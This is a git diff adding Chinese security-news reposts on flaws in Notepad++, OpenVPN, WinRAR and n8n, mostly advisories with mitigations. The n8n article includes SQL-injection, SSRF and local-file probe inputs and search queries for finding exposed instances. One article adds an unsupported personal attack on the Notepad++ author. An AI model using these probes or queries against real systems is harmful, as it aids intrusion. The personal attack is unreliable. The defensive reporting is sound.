+![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWUw2r3biacicUOicXUZHWj2FgFxYMxoc1ViciafayxiaK0Z26g1kfbVDybCO8R88lqYQvOiaFgQ8fjOJEjxA/640?wx_fmt=png&from=appmsg "") + + + +不会挖CNVD？不会挖EDURC？不会挖企业SRC？不会打nday和通杀漏洞？ + +直接加入我们小圈子： +知识星球+内部圈子交流群+知识库 + +快来吧！！ + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWUMULI8zm64NrH1pNBpf6yJ5wUOL9GnsxoXibKezHTjL6Yvuw6y8nm5ibyL388DdDFvuAtGypahRevg/640?wx_fmt=png&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1 "") + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_jpg/b7iaH1LtiaKWUMULI8zm64NrH1pNBpf6yJO0FHgdr6ach2iaibDRwicrB3Ct1WWhg9PA0fPw2J1icGjQgKENYDozpVJg/640?wx_fmt=other&tp=webp&wxfrom=5&wx_lazy=1 "") + + +神农安全知识库内部配置很多 +内部工具和资料💾， +玄机靶场邀请码+EDUSRC邀请码等等 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWXjm2h60OalGLbwrsEO8gJDNtEt0PfMwXQRzn9EDBdibLWNDZXVVjog7wDlAUK1h3Y7OicPQCYaw2eA/640?wx_fmt=png&from=appmsg "") + + +快要护网来临，是不是需要 +护网面试题汇总 +？ +问题+答案（超级详细🔎） + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWXjm2h60OalGLbwrsEO8gJDbLia1oCDxSyuY4j0ooxgqOibabZUDCibIzicM6SL2CMuAAa1Qe4UIRdq1g/640?wx_fmt=png&from=appmsg "") + + +最后，师傅们也是希望找个 +好工作，那么常见的 +渗透测试/安服工程师/驻场面试题目，你值得拥有！！！ + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWXjm2h60OalGLbwrsEO8gJDicYew8gfSB3nicq9RFgJIKFG1UWyC6ibgpialR2UZlicW3mOBqVib7SLyDtQ/640?wx_fmt=png&from=appmsg "") + + +内部小圈子—— +圈友反馈 +（ +良心价格 +） + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWW0s5638ehXF2YQEqibt8Hviaqs0Uv6F4NTNkTKDictgOV445RLkia2rFg6s6eYTSaDunVaRF41qBibY1A/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWW0s5638ehXF2YQEqibt8HviaRhLXFayW3gyfu2eQDCicyctmplJfuMicVibquicNB3Bjdt0Ukhp8ib1G5aQ/640?wx_fmt=png&from=appmsg "") + + +**** +**神农安全公开交流群** + +有需要的师傅们直接扫描文章二维码加入，然后要是后面群聊二维码扫描加入不了的师傅们，直接扫描文章开头的二维码加我（备注加群） + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/b7iaH1LtiaKWUxMYhvbNTx2MbdTb6DpIaX7AicI3tqibhLhQcrwZ2PH9XygJXxdlKwt3lqOqYlCJUE8IBHw43Ox2zQ/640?wx_fmt=jpeg&from=appmsg "") + +   +``` +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/b7iaH1LtiaKWW8vxK39q53Q3oictKW3VAXz4Qht144X0wjJcOMqPwhnh3ptlbTtxDvNMF8NJA6XbDcljZBsibalsVQ/640?wx_fmt=gif "") + + diff --git a/doc/2025-06/Notepad++ 存严重提权漏洞,PoC 已流出.md b/doc/2025-06/Notepad++ 存严重提权漏洞,PoC 已流出.md new file mode 100644 index 00000000..f25b6419 --- /dev/null +++ b/doc/2025-06/Notepad++ 存严重提权漏洞,PoC 已流出.md @@ -0,0 +1,67 @@ +# Notepad++ 存严重提权漏洞,PoC 已流出 +原创 mayfly 独眼情报 2025-06-24 04:20 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/KgxDGkACWnS7xKYB0KyXoI7ePvtakia78ibJCHdhksOt8giaRzVntiahU1Y9LVUyodEBMRdm5ll8mSVCjR6nCHriaaw/640?wx_fmt=jpeg&from=appmsg "") + +**近日（2025年6月24日），研究人员披露 Notepad++ 8.8.1 安装包存在显著提权漏洞（CVE‑2025‑49144）** +，攻击者仅需摆放一个恶意程序，用户运行安装文件即可被默默提权至 SYSTEM 级权限，系统将完全被控。 +## 漏洞实质 🔍 +- **漏洞根源** +：Notepad++ 安装器在寻找依赖可执行程序（如 regsvr32.exe）时，会先在当前文件夹中查找，且不做验证，形成典型的“二进制投放”（binary planting）路径漏洞。 + +- **攻击流程** +：攻击者诱导受害者将官方安装器和恶意 regsvr32.exe 放在同一目录（例如 Downloads）。受害者双击安装后，即自动加载恶意程序，攻击者即拿到 SYSTEM 权限。 + +- **影响范围** +：所有运行 Windows、下载并安装 Notepad++ 8.8.1 安装器的用户都有风险，尤其是开发者、运维、安全从业人员等常常直接使用官方安装包的人群。 + +### 漏洞评级与时间线 + +
项目
内容
CVE 编号
CVE‑2025‑49144
发布时间
6月24日 NVD 公布
CVSS 评分
7.3（高危）
易被利用性
本地用户无需额外权限，只需放置恶意可执行文件，点击安装即可触发
修复状态
Notepad++ 官方已于 8.8.2 修复该问题，建议立即升级
+## 非新鲜事：Notepad++ 历史漏洞频发 +- **2023 年** +，多个 DLL 注入、缓冲区溢出漏洞存在于 8.5.x 版本，严重时可导致任意代码执行。 + +- **同年 12 月** +，dbghelp.exe 路径漏洞（CVE‑2023‑6401）被发现，但当时修复推迟。 + +- **2024 年** +，Notepad++ 插件（例如 mimeTools.dll）被劫持，利用默认加载机制传播恶意代码。 + +- **2024 年初** +，WogRAT 恶意利用 Notepad 服务发动跨平台攻击，影响 Windows/Linux。 + +从过去到现在，Notepad++ 的组件安全一直脆弱不堪，漏洞频发值得高度关注。 +## 💡 安全建议 +1. **立即升级** +：所有 Notepad++ 用户请务必更新至 **8.8.2 及以上版本** +。 + +1. **下载渠道谨慎** +：强烈建议从 Notepad++ 官网、GitHub Releases 下载，不使用第三方镜像或链接。 + +1. **安装隔离建议** +：对于重要设备，将安装操作限于受控目录，避免与下载文件混杂。 + +1. **强化本地保护机制** +：结合用户权限控制、安装时 UAC 弹出提示等机制阻挡本地投毒路径。 + +1. **提升警惕** +：定期清理 Downloads 文件夹，不随意执行下载的 EXE 和 DLL；企业可结合 EDR 工具拦截异常加载行为。 + +## 总结 + +Notepad++ 一向被视为轻量、灵活、免费的 Windows 文本编辑器，深受开发者及普通用户喜爱。但此次安装器路径漏洞揭示了软件生态链的隐患：**“无恶意安装”并不意味着安全，二进制投放同样可让系统瞬间崩盘** +。 + +为避免成为社工诱导和本地“静默攻击”的受害者，从立刻升级、严控安装源、杜绝混放安装安装目录开始，是当前最务实的安全行动。也提醒所有安全从业者：**最危害安全的路径，都源于最微小的不严谨。** +> +> 最后多说一嘴，notapadd++早该卸载了，这玩意的作者不是好人。我就人身攻击了，懂得都懂。 + +- poc 地址： + +https://github.com/notepad-plus-plus/notepad-plus-plus/security/advisories/GHSA-9vx8-v79m-6m24 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/KgxDGkACWnS7xKYB0KyXoI7ePvtakia786cQibXn60EiaKLwOdiaibTjNICnrUr60ez7KleqF8NWX36XVJNPyT2Z8cA/640?wx_fmt=png&from=appmsg "") + + diff --git a/doc/2025-06/Notepad++漏洞 PoC 发布，可提升权限至 NT AUTHORITYSYSTEM.md b/doc/2025-06/Notepad++漏洞 PoC 发布，可提升权限至 NT AUTHORITYSYSTEM.md new file mode 100644 index 00000000..1dd3c3ec --- /dev/null +++ b/doc/2025-06/Notepad++漏洞 PoC 发布，可提升权限至 NT AUTHORITYSYSTEM.md @@ -0,0 +1,119 @@ +# Notepad++漏洞 PoC 发布，可提升权限至 NT AUTHORITY\SYSTEM + Ots安全 2025-06-24 05:59 + +![](https://mmbiz.qpic.cn/mmbiz_gif/bL2iaicTYdZn7gtxSFZlfuCW6AdQib8Q1onbR0U2h9icP1eRO6wH0AcyJmqZ7USD0uOYncCYIH7ZEE8IicAOPxyb9IA/640?wx_fmt=gif "") + +描述 + +Notepad++ v8.8.1 安装程序中存在一个权限提升漏洞，该漏洞允许非特权用户通过不安全的可执行文件搜索路径获取 SYSTEM 级权限。只需极少的用户交互即可利用此漏洞。 + +漏洞详情 +- 类型：不受控制的 EXE/DLL 搜索路径（二进制植入） + +- 影响：本地权限提升至 NT AUTHORITY\SYSTEM + +- 受影响的软件： Notepad++ v8.8.1 安装程序 - 发布日期：2025-05-05 + +- 严重程度：高 + +技术概述 + +安装程序在当前工作目录中搜索可执行文件依赖项而不进行验证，从而允许攻击者放置恶意可执行文件，这些可执行文件将在安装期间以 SYSTEM 权限加载。 + +欲了解更多信息，请参阅此博客：Microsoft 安全加载库 + +攻击方法 +- 准备：攻击者将恶意可执行文件（例如 regsvr32.exe）放置在目录中 + +- 攻击：用户下载并运行 Notepad++ v8.8.1 安装程序 + +- 执行：安装程序以 SYSTEM 权限从当前目录加载恶意可执行文件 + +- 结果：攻击者获得完全系统控制权 + +感知 + +进程监视器日志显示安装程序正在当前目录中搜索可执行文件 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/rWGOWg48taeBPuV8xNIutx8uv43QwicajT0Paz2CvZEQhaoYeXiahgtsRxkNzpxKW9ibjsBQcaicvKfkZib7xS2LVHA/640?wx_fmt=png&from=appmsg "") +- 概念验证表明，通过反向 shell 成功提升权限 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/rWGOWg48taeBPuV8xNIutx8uv43QwicajCWYuD5cAcz5XKgtmfqGLJQUlWR7vj0S5sOYyS8pBz33nbPXNfafiasw/640?wx_fmt=png&from=appmsg "") + +视频演示证实了漏洞利用成功。 +> 概念验证材料： 带有 PoC 和视频的 Google Drive 文件夹 + +> https://drive.google.com/drive/folders/11yeUSWgqHvt4Bz5jO3ilRRfcpQZ6Gvpn + + + +安全隐患 + +权限提升：非特权用户获得系统级权限 + +代码执行：任意代码以提升的权限运行 + +数据泄露：敏感数据被盗的可能性 + +横向移动：受感染的系统可能被用来攻击网络 + +真实世界的攻击场景 + +攻击者可能利用社会工程学或点击劫持技术，诱骗用户将合法安装程序和恶意可执行文件下载到同一目录（通常是“下载”文件夹，也称为“易受攻击”目录）。安装程序运行后，攻击将以 SYSTEM 权限自动执行。 + +类似漏洞 +- CVE-2023-6401和CVE-2023-47452 - 在记事本的早期版本中 + +- CVE-2024-44346：类似二进制植入漏洞 + +- Dell SupportAssist 漏洞（DSA-2024-312） + +建议 +1. 修改安装程序以使用绝对路径进行依赖项加载 + +1. 对已加载的可执行文件实施数字签名验证 + +1. 创建并使用具有随机名称的安全临时目录 + +1. 遵循 Microsoft 的安全库加载指南 + +结论 + +这是一个需要立即关注的严重安全漏洞。虽然微软将某些二进制植入问题归类为“纵深防御”，但考虑到该漏洞会在极少的用户交互下获取 SYSTEM 权限，其严重性需要优先修复。 + +参考 +- https://www.dell.com/support/kbdoc/en-us/000227899/dsa-2024-312-security-update-for-dell-supportassist-for-home-pcs-installer-file-local-privilege-escalation-vulnerability + +- https://unit42.paloaltonetworks.com/vulnerabilities-in-iconics-software-suite/ + +- https://nvd.nist.gov/vuln/detail/CVE-2025-26624 + +- https://unit42.paloaltonetworks.com/dll-hijacking-techniques/ + +- https://support.microsoft.com/en-us/topic/secure-loading-of-libraries-to-prevent-dll-preloading-attacks-d41303ec-0748-9211-f317-2edc819682e1 + +POC： + +https://github.com/notepad-plus-plus/notepad-plus-plus/security/advisories/GHSA-9vx8-v79m-6m24 + + + + +感谢您抽出 + +![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWgdSBqOibtgiaYWjL4pkRXwycNnFvFYVgXoExRy0gqCkqvrAghf8KPXnwQaYq77HMsjcVka7kPcBDQw/640?wx_fmt=gif "") + +. + +![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWgdSBqOibtgiaYWjL4pkRXwycd5KMTutPwNWA97H5MPISWXLTXp0ibK5LXCBAXX388gY0ibXhWOxoEKBA/640?wx_fmt=gif "") + +. + +![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWgdSBqOibtgiaYWjL4pkRXwycU99fZEhvngeeAhFOvhTibttSplYbBpeeLZGgZt41El4icmrBibojkvLNw/640?wx_fmt=gif "") + +来阅读本文 + +![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWge7Mibiad1tV0iaF8zSD5gzicbxDmfZCEL7vuOevN97CwUoUM5MLeKWibWlibSMwbpJ28lVg1yj1rQflyQ/640?wx_fmt=gif "") + +**点它，分享点赞在看都在这里** + diff --git a/doc/2025-06/OpenVPN驱动曝严重漏洞，可致Windows系统崩溃.md b/doc/2025-06/OpenVPN驱动曝严重漏洞，可致Windows系统崩溃.md new file mode 100644 index 00000000..a1caa0b1 --- /dev/null +++ b/doc/2025-06/OpenVPN驱动曝严重漏洞，可致Windows系统崩溃.md @@ -0,0 +1,84 @@ +# OpenVPN驱动曝严重漏洞，可致Windows系统崩溃 + 安全客 2025-06-23 06:46 + +近日，OpenVPN 社区披露了一个影响 Windows 系统的严重安全漏洞，该漏洞存在于其数据通道卸载（Data Channel Offload，DCO）驱动中，允许本地攻击者通过**构造特定控制消息直接导致目标系统崩溃** +，构成高风险的拒绝服务（DoS）攻击。 + + +**01** + +**非特权用户可触发系统级崩溃** + + +该 +漏洞编号为 CVE-2025-50054，影响 OpenVPN 默认使用的 ovpn-dco-win 驱动，受影响版本包括 1.3.0 及以下、2.5.8 及以下。自 OpenVPN 2.6 起，该驱动已成为标准配置，影响范围广泛。 + + +安全研究人员发现，攻击者可利用该漏洞通过本地非特权进程向内核驱动发送超长控制消息，从而触发**堆缓冲区溢出** +，最终导致系统崩溃。虽然该漏洞不涉及数据泄露或破坏，但其可用性破坏能力已构成严重安全风险。 + + +OpenVPN 项目组已第一时间发布 OpenVPN 2.7_alpha2，修复该漏洞并引入多项系统架构增强。需要注意的是，该版本为 alpha 测试版，不建议直接用于生产环境，但其中包含的关键安全修复对于防范漏洞利用至关重要。 +当前，Windows 用户可下载 64 位、ARM64 和 32 位平台的 MSI 安装包，均已集成该缓冲区溢出漏洞的修补程序。 + + +**02** + +**内核态 VPN 驱动的风险与挑战** + + +ovpn-dco-win 是 OpenVPN 为 Windows 平台引入的**下一代数据通道卸载驱动** +。与传统 tap 或 wintun 驱动不同，DCO 驱动实现了 VPN 数据的全内核态处理，避免了用户态与内核态之间的频繁数据切换，大幅提升性能。 + + +根据 OpenVPN 官方文档，DCO 驱动基于 WDF 和 NetAdapterCx 等现代驱动开发框架，维护性更好。但其**直接运行于内核层** +，也意味着一旦出现漏洞，其影响范围将更加严重，甚至可直接导致系统崩溃。 +此次漏洞的披露，再次暴露出高性能内核模块在缺乏细致输入验证时所带来的安全代价。 + + +在稳定版本发布之前，建议所有部署了 OpenVPN 2.6 及以上版本的用户或组织采取以下应对措施： + + +立即限制对 ovpn-dco-win 驱动的本地访问权限； + +加强主机本地权限管理，防止低权限进程调用驱动接口； + +启用主机级日志与行为监测，防范漏洞被恶意利用； + +密切关注 OpenVPN 官方后续稳定版的发布节奏并尽快部署更新。 + + + +当前 DCO 驱动已成为 OpenVPN 官方的默认实现，原有 wintun 驱动已被移除，tap-windows6 驱动仅作为部分场景下的回退兼容方案存在。 + + +随着 VPN 性能优化不断深入内核态，驱动安全性问题将日益成为系统稳定性的重要考量。本次 CVE-2025-50054 漏洞虽未波及数据泄露，但其“零权限触发系统崩溃”的攻击路径已足以引起高度重视。网络安全建设者应在享受新架构带来性能红利的同时，警惕其背后的安全挑战，确保对关键组件的版本控制、访问权限和漏洞响应机制始终处于受控状态。 + + +消息来源： + +https://cybersecuritynews.com/openvpn-driver-vulnerability/ + + +推荐阅读 + + + + + +

01

｜生成式AI驱动攻击的现实已到来

02

｜OpenAI拿下美军2亿美元AI订单

03

｜160亿登录凭证泄露

+ + +**安全KER** + + +安全KER致力于搭建国内安全人才学习、工具、淘金、资讯一体化开放平台，推动数字安全社区文化的普及推广与人才生态的链接融合。目前，安全KER已整合全国数千位白帽资源，联合南京、北京、广州、深圳、长沙、上海、郑州等十余座城市，与ISC、XCon、看雪SDC、Hacking Group等数个中大型品牌达成合作。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Ok4fxxCpBb4OxWecDuUc3XbicSjGsKF2kB33mXAhosfiaFrSV0gmDdG2hDibwZMUf2AvCnLibzPwf9rrHfH0txChVg/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Ok4fxxCpBb4OxWecDuUc3XbicSjGsKF2kPfWA15ZnNu07u1oaKWbW4AXlXRdEVDQus0pSicJ2G0tTEMeoiaY3gk8g/640?wx_fmt=png&from=appmsg "") + +**注册安全KER社区** + +**链接最新“圈子”动态** + diff --git a/doc/2025-06/WinRAR 存在目录遍历远程代码执行漏洞.md b/doc/2025-06/WinRAR 存在目录遍历远程代码执行漏洞.md new file mode 100644 index 00000000..417f65d5 --- /dev/null +++ b/doc/2025-06/WinRAR 存在目录遍历远程代码执行漏洞.md @@ -0,0 +1,26 @@ +# WinRAR 存在目录遍历远程代码执行漏洞 + 独眼情报 2025-06-24 04:20 + +WinRAR 开发者修补了 Windows 版本中的一个安全漏洞，该漏洞允许攻击者执行恶意代码。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/KgxDGkACWnS7xKYB0KyXoI7ePvtakia78EA1iat8ibc3vD3OIYEpM5NF0ibhedmoxKDlNceJib47LHsl2bKBzE21vAg/640?wx_fmt=png&from=appmsg "") + +在 WinRAR 的 Windows 版本中，攻击者可以利用一个安全漏洞来执行注入的恶意代码。一个修复该漏洞的测试版更新已经发布。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/KgxDGkACWnS7xKYB0KyXoI7ePvtakia78iatky6Ay799CibErAakBUUGRl9ibyG4wKAGP284BMmPSGV5MX7sATvpEA/640?wx_fmt=png&from=appmsg "") + +在 Beta 版本 7.12b1 的公告中（目前是新闻概览页面上的第一条记录 ，直接链接稍后会指向错误的条目），WinRAR 开发者对该漏洞的描述非常简略：“在解压文件时，WinRAR、RAR、UnRAR、便携版 UnRAR 以及 UnRAR.dll 可能被迫使用一个在被篡改的压缩包中指定的路径，而非用户指定的路径。”而安全漏洞的发现者 Trend Micro 零日计划则描述得更为准确：“该特殊错误存在于处理压缩文件内路径时。一个精心构造的文件路径可能导致进程跳转到非预期目录（遍历）。攻击者可以利用此漏洞，在当前用户的上下文中执行恶意代码”（CVE-2025-6218 / 尚无 EUVD，CVSS **7.8** +，风险等级为“ **高** + ”）。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/KgxDGkACWnS7xKYB0KyXoI7ePvtakia78Bguevg4KicZ7t7OMbC0Yh1ulGpFPxicdISWk7GB7GvOSrWBKHpvYiaFwA/640?wx_fmt=png&from=appmsg "") + +### WinRAR：更新版本修补安全漏洞 + +WinRAR 开发者强调，该漏洞影响的是 Windows 版本的软件。“Unix 版本的 RAR、UnRAR、便携式 UnRAR 源码和 UnRAR 库以及 Android 版 RAR 不受影响”。该测试版还修补了其他安全漏洞。例如，在生成报告时，文件名未经过滤直接写入报告的 HTML 文件，允许注入不安全的 HTML 标签。通过将标签中的“< >”符号替换为对应的符号字符串，解决了该问题。 + +在 WinRAR 下载页面 ，测试版较为低调地排在带有搜索过滤器的文件列表上方。可以在此直接下载 。不过，一旦开发者发布 WinRAR 7.12 的正式版本，测试版将立即下架。 + +早在 WinRAR 7.11 版本就修复了一个安全漏洞。一个特制的符号链接可能导致 “网络标记”（Mark-of-the-Web，MotW）机制失效，从而在执行和打开来自互联网的潜在危险的解压文件时，Windows 不会弹出警告提示。 + + diff --git a/doc/2025-06/n8n安全：从漏洞利用到防御.md b/doc/2025-06/n8n安全：从漏洞利用到防御.md new file mode 100644 index 00000000..05fa276b --- /dev/null +++ b/doc/2025-06/n8n安全：从漏洞利用到防御.md @@ -0,0 +1,190 @@ +# n8n安全：从漏洞利用到防御 +亚历啥都大 增益安全 2025-06-24 05:55 + +本文在原作者授权的情况下进行转载（原文地址： +https://docs.theangmarcore.ru/artificial-intelligence/ai-core/n8n/n8n-security-from-exploitation-to-defense +） + +在使用"代理"（Telegram机器人、Webhook、Discord机器人等）的n8n系统中，由于输入验证不当和不安全的节点，可能会发生多种攻击。实际研究表明，过去版本的n8n存在认证绕过、过滤器规避和路径遍历等漏洞。 + +据ZoomEye（中国网络空间测绘引擎）测绘结果表明，全球约 +108,542个n8n系统，主要分布在美国、中国和德国。端口主要分布在5678、443、80。 + +链接： +https://www.zoomeye.org/searchResult/report?q=YXBwPSJuOG4i + +![](https://mmbiz.qpic.cn/mmbiz_png/GfgZiaPCOARChia1YlwvIjMjvzJaImxlGNuoHhsic8JFZicyzPtxw57UgIvBaWlJxgT911zVMykHsTuFicmia2njY2sw/640?wx_fmt=png&from=appmsg "") + +下面我们将探讨主要的攻击类型、其利用技术以及防御策略。 +# 远程代码执行（RCE） + +n8n提供了允许在服务器上执行任意命令的节点——例如执行命令 +节点或函数/代码 +节点。如果攻击者能控制这些节点的输入，就可能获得RCE能力。此外，在用户提供的代码中不安全地使用eval() +可能导致任意JavaScript执行。 + +实际案例中，曾出现过通过伪造文件路径利用zip-slip注入实现RCE的情况（记录在CVE-2023-27562中）。 +# 注入攻击（SQL、XSS等） + +如果来自聊天或网络钩子端点的输入数据直接插入到查询或HTML中，可能导致注入攻击。典型的例子是SQL注入，即通过将用户提供的输入与字符串拼接来构造数据库查询。 + +在n8n中使用Postgres节点时，可以使用参数化查询来防止注入。然而，在MySQL节点中，参数化功能尚不可用，因此需要手动转义输入。 + +如果用户提交的数据显示在Web界面或启用了HTML/Markdown发送功能，也可能发生XSS注入。如果没有正确处理特殊字符（<、>、"等），恶意脚本可能在另一个用户的浏览器中执行。 +# 绕过过滤器和授权 + +简单的过滤器（基于关键词或用户ID）通常可以被绕过。例如，在Telegram机器人中，命令通常以/开头。攻击者可能会插入不可见的Unicode字符（零宽度空格、非连接符等）来伪装命令或部分单词。 + +同形异义词（看起来相似但属于不同编码的字符）也可用于绕过精确字符串匹配。此外，基于用户的访问限制也可能被规避：如果机器人没有严格验证user_id +，任何发现它的人（如在著名的"n8n助手"案例中）都可以开始发送命令。 +# 对HTTP/代码节点的攻击 + +如果工作流接受用户提供的URL并将其传递给HTTP请求节点，攻击者可以利用此功能执行服务器端请求伪造（SSRF），向内部网络或本地文件发出请求。 + +路径遍历攻击也已知存在：在CVE-2023-27562中，/rest/credential-translation端点存在绕过，允许读取许可目录之外的文件。 + +同样，包含eval() +语句的代码执行节点如果接收外部数据，将非常危险。 +# 令牌和数据泄露 + +如果工作流错误地将令牌或API密钥包含在传出响应中（例如通过Telegram消息或网络钩子响应发送），攻击者可能窃取这些机密。同样，在没有TLS保护的情况下拦截HTTP流量可能暴露敏感凭据。 + +以下是攻击类型的总结表： +
攻击类型
利用方法
示例防护措施
RCE（远程代码执行）
通过执行命令/函数节点：传递受控字符串在服务器上执行
禁用或限制执行/代码节点，禁止运行时使用eval()，隔离进程
SQL注入
将恶意SQL注入查询字段（例如通过消息插入"; DROP ...;）
使用参数化查询，转义并验证所有用户输入
XSS注入
将HTML/JS注入机器人消息（Markdown/HTML）或Web界面
禁用不必要的HTML/Markdown渲染，转义特殊字符，应用内容安全策略（CSP）头
过滤器/授权绕过
发送带有不可见Unicode字符的命令，深度链接（/start payload），或伪造user_id
验证用户ID/用户名，限制允许的用户/组列表，实施RBAC和2FA
SSRF/路径遍历
使用HTTP请求节点访问内部资源URL或路径遍历（../）
验证URL（使用域名白名单），更新n8n至已修补CVE的版本
令牌/机密泄露
通过传入/传出数据或日志泄露令牌/API密钥
将令牌存储在环境变量或安全保险库中，静态加密，避免在响应中暴露，使用HTTPS
# 漏洞利用（模拟攻击者） + +攻击通常从与Telegram机器人或其他n8n前端的交互开始，无需访问管理面板。攻击者可能会找到一个公共机器人链接（或网络钩子端点）并发送特制的请求。例如： +## 通过Telegram + +向机器人发送各种命令和文本，包括通过深度链接（t.me/ + +?start=PAYLOAD）传递数据。值得检查机器人是否处理带有Markdown/HTML的消息——插入特殊字符如*、 +、标签如 +、 +等，看看是否会出现解析错误或XSS。Unicode字符（零宽度空格、非连接符等）有助于隐藏命令内容，绕过简单过滤器。 +## 通过Webhook + +如果使用Webhook节点，攻击者可以发送伪造的JSON请求，假装来自Telegram：包含字段如update_id、message等。这允许"伪造"来自机器人任何用户的消息。例如，在JSON中包含from.id、text等字段，并将其发送到公共Webhook地址。 +## 特殊字符和数据格式 + +攻击者尝试输入意外的字符（修改后的Unicode符号、URL编码、Base64等）以破坏输入验证。如果工作流包含基于文本内容的条件节点（IF），他们可以通过稍微更改字符串（用相似字母替换、添加标记）来绕过它们。 +### 测试业务逻辑 + +例如，如果机器人允许执行任意代码或查询，注入诸如; DROP TABLE +用于SQL或payload +用于JS的有效负载。如果工作流接受用户提供的URL，输入http://localhost/secret +或file:///etc/passwd +以测试SSRF/LFI。 +### 工具示例 + +像BotFuzzer这样的框架可用于全面发现Telegram机器人中的漏洞。它自动枚举机器人命令和状态（类似于DFS），发现未经测试的逻辑路径。模糊测试研究表明，这些技术能有效检测SQL注入和缓冲区溢出。在n8n工作流中，可以通过向Telegram/Webhook和HTTP请求节点发送随机或格式错误的数据来构建类似的"模糊测试器"。 +# 安全测试 + +对于开发人员和安全专家来说，主动测试工作流的弹性非常重要。 +### 攻击模拟 + +在单独的安全环境中，模拟攻击者消息。可以编写模拟Telegram Bot API行为的自动化测试，或手动使用Postman/CURL等工具测试Webhook。最重要的是确保没有机密（数据库查询、环境变量）泄露到响应中。 +### 记录可疑活动 + +设置所有传入消息和响应的日志记录。日志分析（例如通过ELK/Kibana）有助于检测异常模式——多次处理错误、重复失败命令或尝试访问不存在的资源。这与一般监控建议一致："定期检查日志中的可疑活动"。 +### 输入模糊测试 + +定向模糊测试有助于发现验证缺陷。例如，为Telegram消息字段（文本、标题、JSON参数）自动生成随机字符串。如模糊测试评论所述，此方法能有效检测意外漏洞。现成的框架如BotFuzzer或自定义脚本可以向机器人发送不同的命令和符号。手动审查函数/代码节点的使用也很有用——确保它们不会使用eval() +运行未知数据。 +# 防护措施 + +最后，为最小化风险，应采取以下措施。 +## 过滤和验证消息 + +清理并验证所有传入数据。例如，如果机器人不应接受HTML，从文本中删除 +标签。转义特殊字符很重要（将< +转换为< +等）。对于SQL查询——强制参数化。如果可能接收用户提供的JSON，严格根据模式（JSON Schema）验证并禁止危险键。在Telegram机器人中，过滤user_id +并仅允许来自受信任用户/组的命令（白名单）是有意义的。 +## 安全工作流设计 + +避免潜在危险的节点。n8n允许阻止节点（节点阻止），例如执行命令或代码节点，它们运行第三方代码。如果仍需要函数节点，确保内部没有eval +。对于计算，首选强类型操作（例如JSON模板而非JS代码）。此外，不要使用HTTP请求直接获取来自用户的变量而不验证。定期更新n8n：许多已知漏洞（CVE-2023-27562、CVE-2023-27564等）已在版本≥0.216.1中修复。 +## 访问和权限限制 + +实施完整的认证系统。使用基于角色的访问控制和双因素认证。如果机器人在群组中工作，启用私有模式（避免接收外部消息）或验证chat_id +。连接Webhook时，要求秘密令牌（Webhook Token），以便外部人员无法发送请求。限制运行n8n的帐户权限（例如Linux用户n8n +不应具有root访问权限）。 +## 令牌和机密保护 + +切勿以明文存储密钥。n8n在磁盘上加密凭据，因此配置可靠的加密密钥（环境变量NBN_ENCRYPTION_KEY +）。尽可能使用外部机密存储（HashiCorp Vault、AWS Secrets Manager）。切勿将机器人令牌插入消息文本或日志中。为所有请求（Telegram API、Webhook等）提供HTTPS——这将防止网络中的令牌拦截。 +## 额外措施 + +对传入的Webhook应用速率限制以防止DoS和暴力攻击。为n8n Web界面使用内容安全策略。定期进行渗透测试：尝试模拟已知攻击者（SQLi、SSRF等）并检查是否被阻止。这种多层防护（"深度防御"）是自动化代理安全的关键。 +# 常见n8n攻击 +## 1. 通过公开暴露的n8n实例攻击 + +**如何发现n8n实例** +- **Shodan / Censys / ZoomEye互联网扫描** + +公共n8n实例（尤其是在端口5678、80、443上）会被搜索引擎索引，使用如下查询： + +``` +app="n8n" (ZoomEye) +title="n8n" +iconhash="8ad475e8b10ff8bcff648ae6d49c88ae" +``` +#      +# 搜索错误或头信息简单的curl命令：curl -I http://example.com 可能会显示x-powered-by: n8n也可以标识出来。 +# 例如直接使用ZoomEye搜索带有n8n响应header的内容：（http.header="n8n"） +# 链接：https://www.zoomeye.org/searchResult?q=aHR0cC5oZWFkZXI9Im44biI%3D + +![](https://mmbiz.qpic.cn/mmbiz_png/GfgZiaPCOARChia1YlwvIjMjvzJaImxlGNxaKM4ZTFld10micX95GAojOSxa3IN0eianWTxicEfibibHPF0hpQKfHupwQ/640?wx_fmt=png&from=appmsg "") +# +# 带有前缀如n8n.或workflow.的域名像n8n.domain.ru、workflow.domain.com这样的域名经常通过DNS暴力破解被发现。 +# 反向IP查找或者Hostname发现如果您的n8n运行在VPS上，且该IP曾出现在其他地方（例如另一个网站或服务），攻击者可以查找相关域名并发现n8n。 +# 例如通过ZoomEye可以通过hostname="n8n"进行搜索 +# 链接：https://www.zoomeye.org/searchResult?q=aG9zdG5hbWU9Im44biI%3D + +![](https://mmbiz.qpic.cn/mmbiz_png/GfgZiaPCOARChia1YlwvIjMjvzJaImxlGNLFQv4Aanvw3ibLfGxpZdFy30HfDG6b3oUXj3qArpdVf5IIALGqPgz7Q/640?wx_fmt=png&from=appmsg "") +# + +**攻击者能做什么？？？** + +**对您的域名或IP进行DDoS** + 